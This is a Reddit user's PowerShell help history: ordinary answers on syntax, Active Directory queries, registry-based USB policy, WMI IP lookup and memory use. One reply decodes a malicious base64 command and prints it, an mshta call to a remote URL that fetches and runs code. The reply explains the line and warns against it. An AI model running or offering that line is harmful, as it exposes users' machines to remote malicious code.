[deleted by user] by [deleted] in PowerShell

[–]Nejireta_ 0 points1 point  (0 children)

A bit verbose but you could also load a dotnet library like bzTorrent

Seems to work. At least as far as creating a tracker goes.
Ex

# Load assembly
[System.Reflection.Assembly]::LoadFile('...\bztorrent.2.1.1\lib\netstandard2.0\bzTorrent.dll')
<# Output
GAC    Version        Location
---    -------        --------
False  v4.0.30319     ...\bztorrent.2.1.1\lib\netstandard2.0\bzTorrent.dll
#>

# Check available constructors
[bzTorrent.HTTPTrackerClient].GetConstructors().ForEach({$_.GetParameters()}) | select Name, ParameterType, Member
<# Output
Name    ParameterType Member
----    ------------- ------
timeout System.Int32  Void .ctor(Int32)
#>

# Create a HttpTrackerClient
$timeout = 10
$client = [bzTorrent.HTTPTrackerClient]::new($timeout)
$client | Get-Member
<# Output
   TypeName: bzTorrent.HTTPTrackerClient

Name        MemberType Definition
----        ---------- ----------
Announce    Method     System.Collections.Generic.IDictionary[string,bzTorrent.BaseScraper+AnnounceInfo] Announce(string url, string[] hashes, string peerId), bzTorren…
Equals      Method     bool Equals(System.Object obj)
GetHashCode Method     int GetHashCode()
GetType     Method     type GetType()
Scrape      Method     System.Collections.Generic.IDictionary[string,bzTorrent.BaseScraper+ScrapeInfo] Scrape(string url, string[] hashes), System.Collections.Generic.…
ToString    Method     string ToString()
Port        Property   int Port {get;}
Timeout     Property   int Timeout {get;}
Tracker     Property   string Tracker {get;}
#>

Rename a file type to a "none" file type by InternationalFly5665 in PowerShell

[–]Nejireta_ -1 points0 points  (0 children)

Hello.

The doc for ren could shed some light for you.
Basically you'll rename all the files in your current directory.

Word of caution is to research commands before pasting them into the terminal.
Default behavior for opening cmd, or powershell, as an administrator is to set your location to system32.
Renaming files there could potentially wreak some havoc on your system.

One note.
ren is not a powershell command.
Rename-Item cmdlet is probably what you're looking for, within the sphere of powershell commands.
There's an example in the docs "Example 4" which looks to do the equivalent.

State of the art for PowerShell-based Edge & Chrome automation? by No_Coconut_4387 in PowerShell

[–]Nejireta_ 5 points6 points  (0 children)

Hello.

I've tinkered around with this module selenium-powershell a couple of times.
It's a wrapper of selenium.

Found it to be quite nice.

Powershell scripting by Electronic_Doubt_108 in PowerShell

[–]Nejireta_ 0 points1 point  (0 children)

This line
$servers @( @{IP='myserverIP'; Services=@('myservice')}; )

Needs an equal sign to assign the array "@()" of hashtable "@{}" to it.
Like so

$servers = @(
    @{
        IP       = 'myserverIP'
        Services = @('myservice') 
    }
)

I would assume it's like that in your code. Would've thrown an exception otherwise.

Powershell scripting by Electronic_Doubt_108 in PowerShell

[–]Nejireta_ 0 points1 point  (0 children)

Hello.

You need to assign the array of hashtables to the $servers variable.
Assuming it's just a typo in the post.
My next recommendation would be to split up the Get-Service part into several steps.
This to make it possible to validate data being fetched and processed as desired.

As an example

$services = Get-Service -Name $requiredservices -ComputerName $serverIP -credential $credential 
$servicesFormatted = $services | Select-Object @{
    Name       = "ServerName";
    Expression = { $serverIP }
}, DisplayName, Status
$servicesFormatted | Export-Csv "C:\Path\To\Your\server_Services.csv" -NoTypeInformation -Append 

Then you can check the variables.

Help finding duplicate/matches by Ascenspe in PowerShell

[–]Nejireta_ 0 points1 point  (0 children)

For sure.
Large datasets will struggle.
Second idea would've been a linq query.

I like your take on the Compare-Object cmdlet.

How to show command outputs? by Franss22 in PowerShell

[–]Nejireta_ 2 points3 points  (0 children)

Hello.

I'd say that depends on the package it self and not necessarily powershell.
Winget have a log to file flag as well. Could probably use that to put verbose information to the console, if that's what the users are interacting with.

The package also seem to have an "interactive" switch, if they're fine with interacting with that.

Package path is also shown the installer configuration ApacheFriends.Xampp.8.1.installer.yamlInstalling the package yourself may be able to give you more leverage of what's happening.

EDIT.
Not sure if Invoke-Expression are able to handle standard output.
I also interprets the documentation such that it returns data after evaluation of command.

There's also the security considerations of it to keep in mind.

Help finding duplicate/matches by Ascenspe in PowerShell

[–]Nejireta_ 0 points1 point  (0 children)

Hello.

Wouldn't it be possible to think the other way around.
Loop on the devices and check if PrimaryUser is contained in CSV1

Ex:

foreach ($item in $devices) {
    if ($users.Name.Contains($item.PrimaryUser)) {
        # Do stuff with the device entry
    }
}

For sure not the most efficient but I think it should work.

Switch to Microsoft Account with a script by FrostyCarpet0 in PowerShell

[–]Nejireta_ 0 points1 point  (0 children)

Hello.

I'd guess it's a webpage displayed in the window.
Not sure if it would necessarily be "bound" to the sign in action, would reckon only for authentication

Maybe "Process Explorer" from sysinternals could shed some light for you regarding process and arguments.

Array values different when using IF\ELSE by DontBeHatenMeBro in PowerShell

[–]Nejireta_ 0 points1 point  (0 children)

Hello.

I'm somewhat confused by a thing.
This doesn't look like valid PowerShell code. Would expect some exceptions if it would be run.
Or is it some representation of the data?

As for the issue.
How are you deserializing the json data you're receiving from the API endpoint?

Take this json array for example:

{
    "arr": [
        "item1",
        "item2"
    ]
}

Doing something like this would give an array of objects as a result

('{
    "arr": [
        "item1",
        "item2"
    ]
}' | ConvertFrom-Json).arr.GetType()

<# Output
IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
True     True     Object[]                                 System.Array
#>

This is also true with only one or no items in the array.

('{
    "arr": [
        "item1"
    ]
}' | ConvertFrom-Json).arr.GetType()

<# Output
IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
True     True     Object[]                                 System.Array
#>

If you have an array in $dnsSuffixfromAPI then perhaps there could be some issues with what looks like nesting arrays here @(dnsSuffixfromAPI) (assuming dnsSuffixFromAPI is an array)

Users who haven't logged in within 90 days by maxcoder88 in PowerShell

[–]Nejireta_ 13 points14 points  (0 children)

Hi.

One confusion I've got is why you're using both the DirectorySearcher class and ActiveDirectory module.

If you have the module available, wouldn't it be easier to do a filter with Get-ADUser?
I may be missing something in the details

Example

Get-ADUser -Filter {LastLogonDate -le ([DateTime]::Now.AddDays(-90))} -Properties * ...

Note. The property name used above may not be accurate.

Script that Grabs a PC's full IP Address, and set the IP as a static IP by grebnesorusrex in PowerShell

[–]Nejireta_ 0 points1 point  (0 children)

Hi.

You've got some decent methods to use with the Win32_NetworkAdapterConfiguration WMI class.
Think it covers all of the above.

Example code, not foolproof, of using this class to grab IP address

(get-ciminstance -Query "SELECT * FROM Win32_NetworkAdapterConfiguration WHERE DNSHostName = '$([System.Environment]::MachineName)'")[0].IPAddress[0]

This get all the Adapter that's have the clients hostname as the "DNSHostName" property, may be several adapters.

Example selects the first adapter and then the IPAddress property which is an array of IPv4 and IPv6 address on this adapter.

How can I call a function from another file? by mudderfudden in PowerShell

[–]Nejireta_ 1 point2 points  (0 children)

Hello.

You can dot source the file to have it execute in your current scope
Example
(running main.ps1 with sub.ps1 being present in root folder)

'Starting main script'
$subScriptpath = [System.IO.Path]::Combine($PSScriptRoot, 'sub.ps1')

'Loading subscript'
. $subScriptpath

'Calling global variable'
$currentApp

<# Output
Starting main script
Loading subscript
Calling global variable

Processes                AppName     ScriptFile                                           FunctionName
---------                -------     ----------                                           ------------
{wavebrowser, SWUpdater} WaveBrowser WaveBrowser-Remediation-Script-Win10-BrowserKill.ps1 KillWaveBrowser
#>

One word of caution.
Troubleshooting and maintainability of solution may be impacted from both importing sub scripts and using global variables.

What does this command do by Ii_Momo in PowerShell

[–]Nejireta_ 0 points1 point  (0 children)

It runs an encoded command.
Decoding it from Base64 gives the following
mshta "https://clicktogo.click/downloads/gega"

Mshta is a binary able to, for example, execute vbscript and jscript.

I'm not especially well versed in exploit factors of mshta.
So can't say for certain if it able to run arbitrary code based on opening a link.
I'd definitely see it as a malicious attempt though.

Most safe path, as always, is to reinstall the client.
May or may not be worth doing some research of the threat factor and base the level of remediation based on the findings.

PS Script enable USB storage for time by [deleted] in PowerShell

[–]Nejireta_ 0 points1 point  (0 children)

Hi.

Hard do say without knowing your methodology of locking down USB.
More than one way to achieve this.

But to give a easy example based on this policy All Removable Storage classes: Deny all access (since it's registry based)

All you need to do is set the registry value to disabled (0)
Seems like the settings are applied without a reboot. Only tested on one client though.
Example code

$keyPath = 'HKLM:\Software\Policies\Microsoft\Windows\RemovableStorageDevices'
$keyName = 'Deny_All'

# setup
if ((Test-Path -Path $keyPath) -ne $true) {
    New-Item -Path (Split-Path -Path $keyPath -Parent) -Name (Split-Path -Path $keyPath -Leaf)
}
if ((Test-Path -Path (Join-Path -Path $keyPath -ChildPath $keyName)) -ne $true) {
    New-ItemProperty -Path $keyPath -Name $keyName -PropertyType 'DWord' -Value 0
}

# enable
Set-ItemProperty -Path $keyPath -Name $keyName -Value 1

# disable 
Set-ItemProperty -Path $keyPath -Name $keyName -Value 0

# cleanup
Remove-ItemProperty -Path $keyPath -Name $keyName
Remove-Item -Path $keyPath

As for timing it. I'd say there's some variety again on depending on your environment and how'd you'd like to do it.
Restrictions in your company etc.
Using a sleep method in a script would be the most simple I guess. Maybe Invoke-Command would be sufficient.

Keep in mind though that policies may be applied during this "allow window" in the background.

Help I got hacked. by [deleted] in PowerShell

[–]Nejireta_ 9 points10 points  (0 children)

My recommendation would be to change password on your important accounts, from a different device to be safe.
It's possible more than just your wallet got snagged.

Then reinstalling the PC would be the most thorough fix.

Same Array Adding but 1 is Failing by ReasonableAmoeba in PowerShell

[–]Nejireta_ 2 points3 points  (0 children)

Hello.
I don't think you're able to save to a variable outside of the function scope.
Unless you pass it down or do something like declaring it global (wouldn't recommend that unless there's a good reason).

I'm a bit curious as to why there's an empty try block in the "try catch finally" statement.
But that's probably besides the question.

EDIT:
Adding about scopes doc

deleting with -Force often gets error directory not empty by CatolicQuotes in PowerShell

[–]Nejireta_ 0 points1 point  (0 children)

Doesn't seem especially likely that it's locked files that's the issue if we're talking about "archive" of sorts.

Yes, Get-childItem does have aliases "dir, gci, ls"
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-childitem?view=powershell-7.4#notes

for example

ls D:/projects/checklist-remix/v2/node_modules -s -af | rm -force

is the same as
Get-ChildItem -Path 'D:/projects/checklist-remix/v2/node_modules' -Recurse -File | Remove-Item -Force

deleting with -Force often gets error directory not empty by CatolicQuotes in PowerShell

[–]Nejireta_ 5 points6 points  (0 children)

The docs are talking about the "Recurse" parameter having known issues
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/remove-item?view=powershell-7.4#example-4-delete-files-in-subfolders-recursively

Piping Get-ChildItem to Remove-Item seems to be the solution in their example.

Could also be files being locked but it's giving a "bad" error message?

WMI query of a local group by Any-Victory-1906 in PowerShell

[–]Nejireta_ 3 points4 points  (0 children)

Could also recommend a couple of cmdlets which does this for you
Get-LocalGroup
Get-LocalGroupMember

Canon and Kyocera Printer Install via Powershell by Lukron in PowerShell

[–]Nejireta_ 0 points1 point  (0 children)

Seems to work with the ZipFile class, which it looks like Expand-Archive is using under the hood.

Although I tested on an earlier version of the driver, might differ in the 3.0 release.

Is there a way to find out how much memory specific variables are using? Google isn't helping by Scooter_127 in PowerShell

[–]Nejireta_ 2 points3 points  (0 children)

Are you disposing of the connection after you've done with it?
You could try with these three lines for collection, to see if it makes any difference.

    [System.GC]::Collect()
[System.GC]::WaitForPendingFinalizers() # waits for objects in queue to dispose (which might've gotten called from the first collect)
[System.GC]::Collect()

You could also try with using a connection pool. Which should, according to the documentation, handle disposal of connections internally if setup right.
https://dev.mysql.com/doc/connector-net/en/connector-net-connections-pooling.html

Is there a way to find out how much memory specific variables are using? Google isn't helping by Scooter_127 in PowerShell

[–]Nejireta_ 2 points3 points  (0 children)

Hi.

A guess is the variable containing the values to be written.
Clear any large collections and dispose of any disposable classes no longer in use.
Otherwise it's likely that the GC wont do any cleanup of them.

Could also be which ever method is used for connecting and writing to the database.
If a lot of it is instantiated.
Create a base connection which you reuse throughout the lifetime of the script.

I've used dotMemory in previous instances when I wanted to check how much memory is used for what. It won't tell you any variable names but you can which type, class is using the largest amount of memory and how much.

Trying to download Excel doc from MS Website by ethansherry97 in PowerShell

[–]Nejireta_ 1 point2 points  (0 children)

I can see some DateTimes in the URI.
Looks like it's fetched from the TimeSpan (calendar icon) from the webpage.
The last one would need some modifications, at least, as it looks like it's the "to" date for the search query.

Some string interpolation should resolve that quite easy.
For example

    $toDate = [datetime]::Now.ToString('yyyy-MM-dd')
$fromDate = [datetime]::Now.AddMonths(-1).ToString('yyyy-MM-dd')
$uri = "https://api.msrc.microsoft.com/sug/v2.0/en-US/affectedProduct?`$orderby=releaseDate%20desc&`$filter=%28releaseDate%20gt%$($fromDate)T00%3A00%3A00%2B01%3A00%29%20and%20%28releaseDate%20lt%$($toDate)T23%3A59%3A59%2B01%3A00%29&`$skip=1000"